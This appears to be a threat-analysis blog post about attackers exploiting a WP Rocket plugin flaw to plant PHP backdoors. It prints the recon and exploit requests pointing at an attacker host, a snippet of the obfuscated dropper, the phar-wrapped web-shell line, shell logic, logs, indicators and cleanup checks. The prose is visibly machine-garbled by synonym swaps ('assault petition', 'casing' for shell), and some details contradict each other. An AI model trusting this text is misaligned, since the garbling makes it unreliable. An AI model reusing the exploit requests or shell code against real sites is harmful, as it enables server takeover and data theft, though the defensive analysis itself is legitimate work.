WordPress Plugin WP Rocket CVE-2026-125812: Exploits in the Wild, Dissected

Hacker News by 12 min read 18x views
WordPress Plugin WP Rocket CVE-2026-125812: Exploits in the Wild, Dissected

Share Post

WP Rocket's CVE-2026-125812 is being exploited in the wild, and there is motionless extremely small community data on how the attacks really work. The advisories say what to update and which folders to check, but not what an assault petition looks akin or what it leaves behind. We are seeing these attacks throughout our network, so we took a few genuine examples apart: the requests, the payload the attacker made the location download, the backdoors it installs and what the attackers did next.

Prefer to watch? The video walks through the utilize request, the dropper, the two backdoors and how to inspect your site.

The exposure in one paragraph

WP Rocket runs a small manuscript in all visitor's browser that measures the leaf and reports the results to /wp-admin/admin-ajax.php alongside action=rocket_beacon. WP Rocket afterward uses the URLs in that study to optimize the page, which includes downloading several of them and preservation them on the server. Before type 3.24.2 it didn't inspect those URLs strictly enough, so anyone can study a URL pointing to a PHP document on their own server, and WP Rocket will preserve it on the location as a PHP file. It affects WP Rocket 3.15 through 3.24.1 alongside LazyLoad for CSS backdrop images or Self-host Google Fonts turned on. It was fixed in 3.24.2 on November 19, 2026, and Patchstack saw the archetypal assault on November 25.

Step 1: recon, two ways

Before the exploit, attackers inspect whether the site's beacon is active. We saw two styles. The archetypal one asks concerning the location itself:

POST /wp-admin/admin-ajax.php action=rocket_check_beacon&rocket_beacon_nonce=aaabbbccc&url=https://<site>&is_mobile=true

rocket_check_beacon is the petition WP Rocket's manuscript makes to ask "do you desire measurements for this page?". A affirmative answer tells the attacker the optimization features are on, which is what makes the location exploitable. This one came from 23.234.79.110, seconds before the genuine assault on the identical site.

The second style, from 109.107.178.102, never reveals the attacker's server:

action=rocket_check_beacon&url=https://47x.invalid/1234567&rocket_beacon_nonce=aabbcc&is_mobile=false

.invalid is a top-level domain reserved so that it never resolves, and the 1234567 is a Unix timestamp in milliseconds in the URL showing the exact instant of the probe. The scanner learns how the location handles a foreign URL without touching any genuine server, and the timestamp lets it equivalent the answer to the petition later. This is apt the probe Patchstack describes as "checking whether a location is susceptible without revealing their own server".

Note that the two requests transport a valid rocket_beacon_nonce. That value is printed in all leaf WP Rocket serves, so the scanner merely loads a leaf archetypal and copies it. The nonce doesn't defend item here.

Step 2: the utilize request

This is the assault petition we captured, URL-decoded:

POST /wp-admin/admin-ajax.php action = rocket_beacon rocket_beacon_nonce = abc123 url = https://<site> is_mobile = true status = success results = {"preconnect_external_domain": ["https://shoelifer.com/js.php?rel=stylesheet", "https://shoelifer.com/image.php?rel=stylesheet", "https://shoelifer.com/cache.php?rel=stylesheet", "https://shoelifer.com/css.php?rel=stylesheet", "https://shoelifer.com/css.css.php?rel=stylesheet"]}

The entire utilize is in the results field:

  • A genuine beacon lists exterior origins there, akin https://fonts.googleapis.com, affirmative images and CSS backgrounds.
  • The attack lists complete URLs to .php records on the attacker's server, alongside ?rel=stylesheet added so they appearance akin stylesheets.
  • Five names for the identical file: js.php, image.php, cache.php, css.php and css.css.php. Whichever one the site's configuration accepts and saves, the attacker can use.

It is additionally uncomplicated to inform distinct from a genuine beacon. Real beacons are sent by the browser as multipart/form-data, one site per part. The assault is a plain URL-encoded form, and its JSON has a area following all colon and comma (": [", ", "), the default output of Python's json.dumps. A browser's JSON.stringify never adds those spaces. This is a script, not a browser.

Step 3: trigger the download, afterward run the file

Right following the beacon, the identical IP went into a loop. Trimmed from our border logs (UTC):

13:49:59 POST /wp-admin/admin-ajax.php 200 13:50:00 GET / 13:50:00 GET /wp-content/cache/background-css/3/shoelifer.com/js.php 13:50:01 GET /wp-content/cache/background-css/3/shoelifer.com/image.php 13:50:01 GET /wp-content/cache/background-css/3/shoelifer.com/cache.php 13:50:02 GET /wp-content/cache/background-css/3/shoelifer.com/css.css.php 13:50:02 GET /wp-content/cache/background-css/3/shoelifer.com/css.php 13:50:04 GET /?s=zyx123 13:50:04 GET /wp-content/cache/background-css/3/shoelifer.com/js.php ... 13:50:08 GET /?s=zyx123 ... 13:50:12 GET /?s=zyx123

This shows how the assault plant end to end:

  • Where WP Rocket saves the file. The way is built from the attacker's URL: wp-content/cache/background-css/<site id>/<remote host>/<remote document name>. The location ID is 1 exterior multisite, the attacker's presenter becomes a folder, and the document name is kept, .php included.
  • Why the leaf loads. WP Rocket processes the reported URLs whenever it builds the optimized page, so the attacker loads pages to create that happen. The hunt parameter, ?s=zyx123, ...d3, ...d4, is a oppose that makes all petition a new URL, so no cached copy is served and the location has to build the leaf again. "wpra" looks like the tool's own tag.
  • Why it requests the .php files. Saving the document isn't enough: person has to petition it for PHP to run it. The attacker checks all applicant name, all two to four seconds, until one answers.

The advisories additionally categorize this bug as way traversal (CWE-22). Since the distant way is copied into the local one, a URL with ../ in it climbs out of the cache folder. That's how another campaigns put records immediately into wp-content/, wp-content/uploads/ or wp-content/wp-rocket-config/, under names akin wp-media-*.php. In the requests we captured, the attacker didn't use traversal: the default cache way was enough.

Step 4: what the downloaded document does

We downloaded the attacker's js.php the identical way WP Rocket would, from an secluded machine, and saved it as text without operating it. It starts alongside a row of genuine CSS, so that item checking the satisfied sees a stylesheet:

body{background:url(https://shoelifer.com/bg.png)}<?php $b=gzuncompress(base64_decode('eNpVks+L00AU...')); $s=gzuncompress(base64_decode('eNrtWv9u28qx...')); ...

The remainder is a dropper: a abbreviated manuscript whose lone job is to instal another files. It carries two compressed payloads, $b and $s, and runs these steps:

  1. Find the WordPress root. Starting from its own folder, it walks up to eight levels looking for wp-load.php and wp-config.php. It needs this since it runs from profound inner the cache folder.
  2. Install the backdoors in six places:
    FileContent
    wp-content/index.phpWeb casing ($b). It overwrites the genuine file, which is fair <?php // Silence is golden.
    wp-content/themes/index.phpSame web shell
    woo.php (site root)Same web shell
    al.php (the directory it runs from)Same web shell
    wp-content/wp-rocket-helper.phpFile director panel ($s)
    info.php (site root)<?=phpinfo();
  3. Report back: it prints DROPPED|<path>|679 on success, or FAIL|no-docroot / FAIL|wp-content-index.
  4. Delete itself, and a .json document alongside the identical name, so the cache directory looks spotless afterwards.

The document names are chosen to blend in. index.php exists in those folders on all WordPress site, woo.php appears akin WooCommerce, and wp-rocket-helper.php appears akin part of the plugin that was fair exploited.

Backdoor 1: a web casing hidden in a phar archive

The $b payload is 679 bytes. Its archetypal row is all that is apparent in a content editor:

<?php contain "phar://".(realpath(__FILE__)?:__DIR__."/".basename(__FILE__))."/x";__HALT_COMPILER(); ?>

The document is a valid phar archive (PHP's own archive format) that includes itself. __HALT_COMPILER() tells PHP to halt reading, and everything following it is the archive's binary data, containing one file, x, alongside the genuine code. A quick appearance or a hunt for average casing code on the document shows nothing, since the code sits inner the archive. Decoded, x is a casing in the manner of the well-known Weevely backdoor:

$k = "d12300d8"; // XOR key $kh = "8170dc3f3827"; // commencement marker $kf = "473c85bf911d"; // end marker $p = "XQRD54LmmrRcZ8CT"; // reply prefix if (preg_match("/$kh(.+)$kf/", file_get_contents("php://input"), $m) == 1) { // base64 decode, XOR alongside $k, gzuncompress, eval // afterward dispatch the output rear the identical way, wrapped in $p$kh ... $kf }

It runs PHP code sent in the build of a POST, between the two markers, XOR-encrypted and compressed, and sends rear the output the identical way. A GET request, or any POST without the markers, gets an bare page, so the casing looks exactly akin the empty index.php it replaced. Only person alongside the key can inform it's there.

Backdoor 2: a document director alongside "Login as admin"

The $s payload, saved as wp-content/wp-rocket-helper.php, is concerning 11 KB of PHP: a complete authority panel that loads WordPress and titles itself "case-task". It's password protected. The password goes in a indicator named wpnonce, so it looks akin a normal WordPress safety token in logs, and is checked alongside WordPress's own wp_check_password against a hard-coded hash. Anyone alternatively is quietly redirected to the residence page. Once in, it can:

  • browse the entire server, not fair the site's folder
  • upload files, and upload and extract zip archives
  • download any file, including wp-config.php alongside the repository password
  • delete (recursively) and rename files
  • log in as the archetypal administrator alongside one button, by environment that user's WordPress login cookie. No password needed, and no new person that an owner would notice.

That final characteristic matters for cleanup. Removing a new admin person is a average stage following a hack, but this attacker never needs one. As lengthy as the panel exists, they can act the dashboard as the genuine administrator.

Step 5: using the shell, and another attackers looking for it

Hours following the archetypal attempt, the identical IP, 23.234.79.110, came rear and sent casing commands, alongside the markers, as POSTs to /wp-content/ and /wp-content/themes/. These are directory addresses: the web server answers them alongside the folder's index.php, which is exactly anywhere the casing was installed. A regulation that lone watches for the document name index.php misses them. An attacker lone sends commands whenever they think the casing is there, so this is value knowing: in this case they believed the contamination had worked.

The attacker who flora a backdoor is not the lone one looking for it. Across our network complete the final two days we additionally saw:

  • Hunting for another campaigns' files. A collection of Oracle Cloud addresses (129.221.248.33, 130.210.39.209, 129.221.193.184, 92.4.88.251 and others) requested /wp-content/wp-rocket-config/chosen.php 142 times on concerning 120 sites in under 30 hours. wp-rocket-config/ is among the folders the way traversal reaches, so this is a scanner checking which sites already transport a backdoor planted by an before attack.
  • Checking for this shell. Azure addresses (172.190.1.88, 172.177.2.189, 52.152.220.41 and others) requested /wp-content/index.php on dozens of sites, and several asked for /al.php.
  • Reading the document through another bug. 54.227.18.173 used the Media Library Assistant plugin's document download bug (mla-file-downloader.php?mla_download_file=/var/www/html/wp-content/index.php) to peruse wp-content/index.php alternatively of operating it: a way to see whether the casing is there without triggering it.

Once a backdoor is known, any attacker who finds it can use it. A location infected by one run quickly becomes a mark for the others.

How to inspect your site

If your location ran WP Rocket below 3.24.2 alongside LazyLoad for CSS backdrop images or Self-host Google Fonts turned on, check:

  • wp-content/index.php and wp-content/themes/index.php: all have to be a sole line, <?php // Silence is golden. If one is 679 bytes and starts alongside contain "phar://, the location is compromised.
  • These records should not exist: wp-content/wp-rocket-helper.php, woo.php and info.php in the location root, and any al.php.
  • No PHP records in the cache: discover wp-content/cache -name "*.php*" should discover nothing. WP Rocket lone stores CSS, fonts and HTML there.
  • Other planted files: any PHP document in wp-content/, wp-content/uploads/ or wp-content/wp-rocket-config/ you don't recognize, specified as wp-media-*.php or chosen.php.
  • Your logs: rocket_beacon POSTs that are not multipart/form-data, and any POST to /wp-content/, /wp-content/themes/, woo.php or al.php.

A quick way to discover all copies of this casing at once, anywhere it was saved, is to hunt for its markers: grep -rl "8170dc3f3827" /path/to/wordpress.

If you discover any of these files, updating WP Rocket is not enough. The update closes the hole, but the backdoors keep working. Delete them, afterward alter the director passwords, the repository password and the WordPress salts in wp-config.php (which logs everyone out, including a "Login as admin" session), and assessment your users and the remainder of your plugins and themes for changes.

Indicators of compromise

TypeValue
Payload hostshoelifer.com (js.php, image.php, cache.php, css.php, css.css.php, all alongside ?rel=stylesheet); apt a compromised location itself
Exploit and casing use23.234.79.110
Recon probe109.107.178.102, url=https://47x.invalid/<ms timestamp>
Backdoor hunting129.221.248.33, 130.210.39.209, 129.221.193.184, 92.4.88.251, 172.190.1.88, 172.177.2.189, 52.152.220.41, 54.227.18.173
Web casing markers8170dc3f3827, 473c85bf911d, XOR key d12300d8, reply prefix XQRD54LmmrRcZ8CT
File managerwp-rocket-helper.php, heading "case-task", password in wpnonce, hash a574cf55ed6f4e9f0bb85ce2ace7889d
Dropped fileswp-content/index.php, wp-content/themes/index.php, woo.php, al.php, info.php, wp-content/wp-rocket-helper.php
Tool fingerprintsURL-encoded (not multipart) rocket_beacon alongside Python-style JSON spacing; leaf loads alongside ?s=wpra<hex counter>

Protection on NOC

Sites rearward NOC are protected by virtual patching rules for this campaign. Still, if you are using WP Rocket, delight update asap.

Other Article Hacker News
↑
Close Right Ads
Close Left Ads